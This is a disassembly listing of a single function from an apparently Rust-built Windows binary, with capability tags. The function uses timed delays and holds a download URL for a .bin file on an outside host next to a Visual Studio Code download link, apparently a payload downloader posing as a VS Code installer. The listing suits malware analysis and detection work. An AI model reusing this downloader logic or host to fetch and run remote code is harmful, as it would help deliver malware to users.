Function at 0x14004a2d0
Capabilities:
Check os version
Get number of processors

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4d8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x440], xmm6
mov qword [rbp + 0x438], 0xfffffffffffffffe
mov r12, r8
mov rsi, rdx
mov rdi, rcx
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x14004a32e
cmp eax, 1
je 0x14004a35b
jmp 0x14004b72e
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x14004a290]
call fcn.1400e72a0
mov byte [rbx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
jne 0x14004c9c7
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov byte [r15 + 0x11e], 0
lea rcx, [rsi + 0x1d0]
lea rax, [rsi + 0x170]
test rdi, rdi
cmove rcx, rax
call fcn.1401032f0
mov ebx, eax
mov r14d, edx
cmp dword [r15 + 0x110], 0
je 0x14004a3e0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x118]
mov ecx, dword [rax + 0x114]
jmp 0x14004a3f7
call fcn.1400f75a0
mov rcx, rax
shr rcx, 0x20
cmp eax, 2
mov edx, 1
cmovae edx, eax
mov eax, dword [0x140198314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov dword [rax + 0x110], 1
mov dword [rax + 0x114], ebx
mov dword [rax + 0x118], r14d
cmp qword [rax + 0xd0], 0
jne 0x14004ca08
mov eax, dword [0x140198314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov qword [rax + 0xd0], 0xffffffffffffffff
mov eax, 1
mov r8d, 1
lock xadd qword [rsi], r8
test rdi, rdi
je 0x14004a46c
test r8, r8
jns 0x14004a477
jmp 0x14004c96a
test r8, r8
js 0x14004c96a
xor eax, eax
mov r8d, dword [0x140198314]
mov r9, qword gs:[0x58]
mov r10, qword [r9 + r8*8]
mov r8, qword [r10 + 0xd8]
mov r9, qword [r10 + 0xe0]
mov qword [r10 + 0xd8], rax
mov qword [r10 + 0xe0], rsi
inc qword [r10 + 0xd0]
mov rax, qword [r10 + 0xe8]
cmp rax, 0xffffffffffffffff
je 0x14004ca14
inc rax
mov r10d, dword [0x140198314]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xe8], rax
mov qword [rbp + 0x380], r8
mov qword [rbp + 0x388], r9
mov qword [rbp + 0x390], rax
mov dword [rbp + 0x398], ecx
mov dword [rbp + 0x39c], edx
mov rax, qword [r12]
cmp qword [rax], 0
jne 0x14004ca55
mov qword [rbp + 0x3c0], rax
mov rdi, qword [r12 + 8]
mov qword [rbp + 0x170], r12
mov r12, qword [r12 + 0x10]
lea rsi, [r12 + 8]
lea rax, [r12 + 0x28]
mov qword [rbp + 0x3b8], rax
lea rax, [r12 + 0x118]
mov qword [rbp + 0x3d0], rax
xorps xmm6, xmm6
lea r15, [rbp + 0x50]
mov qword [rbp + 0x3c8], rdi
nop word cs:[rax + rax]
xor eax, eax
xchg qword [rdi + 0x20], rax
test rax, rax
jne 0x14004b5d4
mov qword [rbp + 0x178], 2
mov rax, qword [rdi]
shr rax, 2
lea rdx, [rbp + 0x408]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rbp + 0x3e0], rdi
mov qword [rbp + 0x3e8], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rbp + 0x1e1]
mov ecx, dword [rbp + 0x1e4]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
jne 0x14004b5c1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
lock inc qword [rax]
jle 0x14004c96a
add rax, 0x10
lea rcx, fcn.140103f20
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x3a8], rax
lea rax, [rbp + 0x3a0]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], 0
jmp 0x14004a65d
cmp rax, 2
jne 0x14004c8fe
xor eax, eax
xchg qword [r14 + 0x10], rax
mov al, 1
lock cmpxchg byte [rbx], r13b
jne 0x14004aa63
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x120]
cmp r13d, 2
je 0x14004a7a0
cmp r13d, 1
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x1e8]
je 0x14004a769
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x14004cba4
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov qword [rcx + 0x58], 0xffffffffffffffff
mov rax, qword [case.0x1400bbab7.484]
mov rdi, qword [rcx + 0x70]
mov rax, 0xffffffffffffffff
cmp rdi, qword [rcx + 0x60]
jne 0x14004a716
call fcn.1400e74d0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x58]
mov ecx, dword [0x140198314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rdx, qword [rcx + 0x68]
mov r8, rdi
shl r8, 4
lea r9, [rcx + 0xd0]
mov qword [rdx + r8], r9
lea r9, [0x14004a290]
mov qword [rdx + r8 + 8], r9
inc rdi
mov qword [rcx + 0x70], rdi
inc rax
mov qword [rcx + 0x58], rax
mov byte [rcx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rbp + 0x3d8], cl
mov word [rax + 0x11c], 0x8001
jmp 0x14004a7ae
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1c0]
lea rcx, [rbp + 0x3e0]
call fcn.1400f6410
test al, al
je 0x14004a840
movzx eax, byte [r12 + 0x148]
test eax, eax
je 0x14004a860
cmp eax, 3
jne 0x14004c8b7
movzx eax, byte [r12 + 0x140]
test eax, eax
je 0x14004b100
cmp eax, 3
jne 0x14004c95e
nop dword [rax]
cmp dword [rsi], 2
jne 0x14004b301
mov rax, qword [r12 + 0x10]
mov qword [r12 + 0x10], 0
test rax, rax
je 0x14004c887
mov qword [rbp + 0x50], 3
mov qword [rbp + 0x58], rax
jmp 0x14004aa90
xor edi, edi
cmp r13b, 2
jne 0x14004b33a
jmp 0x14004b3b2
lea rdi, [0x14014fba8]
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1e8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14004c8c3
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0
mov qword [rbp - 0x48], r15
lea rax, [0x14000c000]
mov qword [rbp - 0x40], rax
lea rax, str.Time:
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 2
mov qword [rbp + 0x208], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], 1
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004aa53
mov rbx, rax
mov qword [rbp + 0x1e8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004aa4a
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x14004b0f0
jmp 0x14004aa53
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x14004b0f0
mov rcx, rbx
call fcn.14011f990
jmp 0x14004a65d
mov rcx, rbx
call fcn.14011f640
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
je 0x14004b438
jmp 0x14004a640
mov r8d, 0x98
lea rcx, [rbp - 0x48]
mov rdx, r15
call fcn.140119a10
cmp dword [rsi], 2
jne 0x14004ab40
mov rbx, qword [r12 + 0x10]
test rbx, rbx
je 0x14004aeb6
mov r14, qword [rbx + 0x58]
test r14, r14
je 0x14004aaf7
mov rdi, qword [rbx + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x14004aad3
mov rcx, r14
call rax
cmp qword [rdi + 8], 0
je 0x14004aaf7
cmp qword [rdi + 0x10], 0x11
jb 0x14004aae5
mov r14, qword [r14 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004aea0
test rax, rax
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14004aea7
mov r8, qword [rbx + 8]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
jmp 0x14004aea7
cmp byte [r12 + 0x100], 0xa
jb 0x14004ab6a
cmp qword [r12 + 0x110], 0
je 0x14004ab6a
mov r8, qword [r12 + 0x108]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
cmp qword [r12 + 0x90], 0
je 0x14004ab89
mov r8, qword [r12 + 0x98]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
cmp qword [r12 + 0x80], 0
je 0x14004aba5
mov r8, qword [r12 + 0x78]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
mov rdi, qword [r12 + 0x58]
test rdi, rdi
je 0x14004ac00
mov rbx, qword [r12 + 0x50]
add rbx, 0x30
jmp 0x14004abdb
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec rdi
je 0x14004ac00
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14004abc0
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x14004abc0
cmp qword [r12 + 0x48], 0
je 0x14004ac19
mov r8, qword [r12 + 0x50]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
mov rdi, qword [r12 + 0x70]
test rdi, rdi
je 0x14004ac4b
mov rbx, qword [r12 + 0x68]
add rbx, 0x38
nop dword [rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec rdi
jne 0x14004ac30
cmp qword [r12 + 0x60], 0
je 0x14004ac64
mov r8, qword [r12 + 0x68]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
cmp qword [rsi], 0
je 0x14004ac88
mov rax, qword [r12 + 0x10]
test rax, rax
je 0x14004ac88
mov rdx, qword [r12 + 0x18]
mov r8, qword [r12 + 0x20]
mov rcx, qword [rbp + 0x3b8]
call qword [rax + 0x10]
mov rdi, qword [r12 + 0xf8]
test rdi, rdi
je 0x14004ace0
mov rbx, qword [r12 + 0xf0]
add rbx, 8
jmp 0x14004acb9
add rbx, 0x58
dec rdi
je 0x14004ace0
cmp qword [rbx - 8], 0
je 0x14004acb0
mov r8, qword [rbx]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
jmp 0x14004acb0
cmp qword [r12 + 0xe8], 0
je 0x14004acff
mov r8, qword [r12 + 0xf0]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
mov rax, qword [rbp + 0x3d0]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x14004ad1b
mov rcx, qword [rbp + 0x3d0]
call fcn.14003fac0
mov rbx, qword [r12 + 0x120]
mov rdi, qword [r12 + 0x128]
mov rax, qword [rdi]
test rax, rax
je 0x14004ad38
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14004ad59
cmp qword [rdi + 0x10], 0x11
jb 0x14004ad4a
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call r14
mov rbx, qword [r12 + 0x138]
test rbx, rbx
je 0x14004aeb6
cmp qword [rbx], 0
mov r15, qword [rbx + 8]
mov eax, 0x118
mov ecx, 0xb8
cmove rax, rcx
cmp dword [r15 + rax + 0xa8], 0x3b9aca00
je 0x14004c89f
lea r14, [rbx + 8]
add r15, rax
lea rdi, [rbx + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x58], cl
jne 0x14004ae49
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14004adc3
lea rcx, [r15 + 0x60]
mov rdx, rdi
call fcn.1400f7b30
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14004ae20
mov byte [rbx + 0x60], 0
mov qword [rbx + 0x40], 0xffffffffffffffff
mov rax, qword [rbx + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rbx + 0x58], rcx
jne 0x14004ade0
test rax, rax
jne 0x14004ae20
mov rax, qword [rbx + 0x48]
mov rcx, qword [rbx + 0x50]
mov qword [rbx + 0x48], 0
lock and qword [rbx + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x14004ae20
call qword [rax + 0x18]
nop word cs:[rax + rax]
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r15 + 0x58], cl
jne 0x14004ae65
cmp qword [rbx], 0
je 0x14004ae77
mov rax, qword [r14]
lock dec qword [rax]
lea r15, [rbp + 0x50]
jne 0x14004ae90
mov rcx, r14
call fcn.14003e100
jmp 0x14004ae90
lea rcx, [r15 + 0x58]
call fcn.14011f640
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x14004adb7
jmp 0x14004adc3
add r15, 0x58
mov rcx, r15
call fcn.14011f990
cmp qword [rbx], 0
jne 0x14004ae32
mov rax, qword [r14]
lock dec qword [rax]
lea r15, [rbp + 0x50]
jne 0x14004ae90
mov rcx, r14
call fcn.14003e9c0
nop dword [rax]
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x14004aea0
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call r14
cmp dword [rbp - 0x48], 3
jne 0x14004af70
lea rax, [0x14014fba8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0db0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004b25d
mov rbx, rax
mov qword [rbp + 0x50], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004b254
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x14004b268
jmp 0x14004b25d
lea rax, [0x14014fba8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0db0
lea rcx, [rbp - 0x48]
call fcn.140048610
mov rax, qword [r12]
lock dec qword [rax]
lea rdi, [rbp + 0x1e8]
jne 0x14004afb9
mov rcx, r12
call fcn.14003fac0
mov byte [r12 + 0x140], 1
lea rbx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_rrrrrrrrrrrrrrrrrrr_20240724032554941.binC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fipnet_2.9.0_srcparser.rs
mov rcx, rbx
lea rdx, [0x14014fc43]
call fcn.14004d670
mov r8d, 0xb
mov rcx, rdi
mov rdx, rbx
call fcn.1400ebc10
mov rbx, qword [rbp + 0x1e8]
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x14004b0f0
mov rdi, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1f8]
cmp byte [rbp + 0x200], 0
je 0x14004b463
lea rcx, [rbp - 0x48]
mov rdx, rdi
call fcn.1400036c0
movabs rax, 0x8000000000000000
cmp qword [rbp - 0x48], rax
jne 0x14004b122
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004b52c
mov r14, rax
mov qword [rbp + 0x1e8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004b523
mov rcx, r14
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov r15, rdi
mov edi, eax
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
mov rdi, r15
lea r15, [rbp + 0x50]
je 0x14004b52c
test rbx, rbx
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14004b0f0
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rdi
call r14
nop word cs:[rax + rax]
mov byte [r12 + 0x140], 0
lea rbx, [rbp + 0x1e8]
mov rcx, rbx
call fcn.1400d0cd0
mov rcx, rbx
call fcn.1400c6920
test rax, rax
jne 0x14004c82a
mov qword [r12], rdx
jmp 0x14004b27c
mov qword [rbp + 0x3b0], rdi
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x50], xmm0
call fcn.140003c30
call fcn.140001830
mov r14, rax
and eax, 3
cmp eax, 1
jne 0x14004b1a0
mov r15, qword [r14 - 1]
mov rdi, qword [r14 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14004b163
mov rcx, r15
call rax
cmp qword [rdi + 8], 0
je 0x14004b187
cmp qword [rdi + 0x10], 0x11
jb 0x14004b175
mov r15, qword [r15 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
dec r14
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea r15, [rbp + 0x50]
lea rcx, [rbp + 0x1e8]
call fcn.140001c00
cmp qword [rbp + 0x1e8], 0
je 0x14004b1c8
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14004b1c8
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e81b0
call fcn.140004cf0
lea rax, [0x14014fba8]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
lea rcx, [rbp + 0x1e8]
call fcn.1400f0db0
mov rcx, r15
call fcn.140001610
mov dil, 1
test rbx, rbx
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14004b50a
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, qword [rbp + 0x3b0]
call rax
mov al, 1
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x14004b3b2
jmp 0x14004b33a
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp - 0x48]
call fcn.140048610
mov rdx, qword [r12]
lea rbx, [rbp + 0x1e8]
mov rcx, r15
lea r8, str.https:__code.visualstudio.com_download
call fcn.14004d980
cmp dword [rbp + 0x50], 2
jne 0x14004b2c0
mov qword [rbp + 0x1e8], 2
mov rax, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x160]
mov qword [rbp + 0x1f0], rax
lock dec qword [rdi]
je 0x14004b2db
jmp 0x14004b2e7
mov rdi, qword [rbp + 0x160]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.1400c8dc0
lock dec qword [rdi]
jne 0x14004b2e7
lea rcx, [rbp + 0x160]
call fcn.140083ef0
mov r8d, 0x138
mov rcx, rsi
mov rdx, rbx
call fcn.140119a10
cmp dword [rsi], 2
je 0x14004a809
mov rcx, r15
mov rdx, rsi
lea r8, [rbp + 0x1c0]
call fcn.1400ccd10
cmp qword [rbp + 0x50], 4
jne 0x14004aa90
mov byte [r12 + 0x140], 3
mov al, 3
mov dil, 2
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x14004b3b2
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14004b3b2
cmp eax, 1
je 0x14004b38b
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400f6a40]
call fcn.1400e72a0
mov byte [rbx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
movzx ecx, byte [rbp + 0x3d8]
mov byte [rax + 0x11d], cl
cmp dil, 2
jne 0x14004b560
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
mov r13d, 0
jne 0x14004b4f7
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xc8]
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r13
je 0x14004a65d
lea rbx, [r14 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r14 + 0x20], cl
jne 0x14004aa70
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
jne 0x14004a640
lea rdi, [r14 + 0x18]
nop dword [rax]
mov rcx, rdi
mov rdx, rbx
mov r9d, 0x3b9aca00
call fcn.140053740
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r13
jne 0x14004b440
jmp 0x14004a650
test r8, r8
je 0x14004b01e
lea rax, [rdi + r8]
mov rdx, rdi
jmp 0x14004b48c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
mov rdx, rcx
cmp rcx, rax
je 0x14004b01e
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14004b480
cmp r9b, 0xe0
jb 0x14004b475
cmp r9b, 0xed
jne 0x14004b4ce
cmp rcx, rax
je 0x14004b01e
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14004b01e
cmp byte [rdx + 1], 0x9f
ja 0x14004b54c
add rdx, 3
mov rcx, rdx
jmp 0x14004b480
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14004b480
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14004b480
test rax, rax
jne 0x14004c85c
call fcn.1401253d0
jmp 0x14004b3e6
mov al, 1
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x14004b3b2
jmp 0x14004b33a
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
test rbx, rbx
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jne 0x14004b0d2
jmp 0x14004b0f0
test rbx, rbx
jne 0x14004b0d2
jmp 0x14004b0f0
mov rax, qword [rbp + 0x3a0]
mov rcx, qword [rbp + 0x3a8]
call qword [rax + 0x18]
lea rcx, [rbp + 0x3e0]
call fcn.1400f68e0
mov rax, qword [rbp + 0x400]
test dil, dil
mov rdi, qword [rbp + 0x3c8]
jne 0x14004b759
test rax, rax
je 0x14004b5a3
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x18]
cmp dword [rbp + 0x178], 2
je 0x14004a560
lea rcx, [rbp + 0x178]
call fcn.14004cc70
jmp 0x14004a560
test rax, rax
jne 0x14004c99c
call fcn.1401253d0
jmp 0x14004a5df
mov rcx, qword [rbp + 0x3c0]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x14004c96a
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x198]
movups xmmword [rax], xmm0
mov qword [rbp + 0x1a8], 8
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], rdi
mov qword [rbp + 0x420], rdi
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x190]
movups xmm1, xmmword [rbp + 0x198]
movaps xmmword [rbp + 0x400], xmm1
mov qword [rbp + 0x3f0], rdx
mov qword [rbp + 0x3f8], r8
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3e8], rcx
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x410], rax
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x418], rax
cmp qword [rbp + 0x3e0], 0
mov rax, qword [rbp + 0x170]
jne 0x14004cad1
cmp qword [rbp + 0x3f0], 0
jne 0x14004cb0f
mov r14, qword [rax + 0x10]
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x14004cb1b
mov qword [rbp + 0x3f0], 0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x14004b786
cmp eax, 1
lea rsi, [0x14014fba8]
je 0x14004b7ba
mov rcx, rbx
call fcn.1400861e0
lea rax, [0x140162020]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_c6727fc9b5c64cefa7263486497ee95e529bd0f8library_std_src_threadlocal.rs
lea r9, [0x140161ca0]
lea r8, [rbp + 0x430]
mov edx, 0x46
call fcn.14011acb0
test rax, rax
je 0x14004b768
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x18]
cmp dword [rbp + 0x178], 2
je 0x14004c7ac
lea rcx, [rbp + 0x178]
call fcn.14004cc70
jmp 0x14004c7ac
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14004a290]
call fcn.1400e72a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14014fba8]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x108]
mov qword [rbp + 0x3c8], rcx
lea rcx, [rbp + 0x3e0]
mov qword [rax + 0x108], rcx
mov rax, qword [rbp + 0x3e8]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x140162440]
mov qword [rbp + 0x3a0], rdx
mov qword [rbp + 0x3a8], rcx
lea rcx, [rbp + 0x3a0]
mov qword [rbp + 0x1c0], rcx
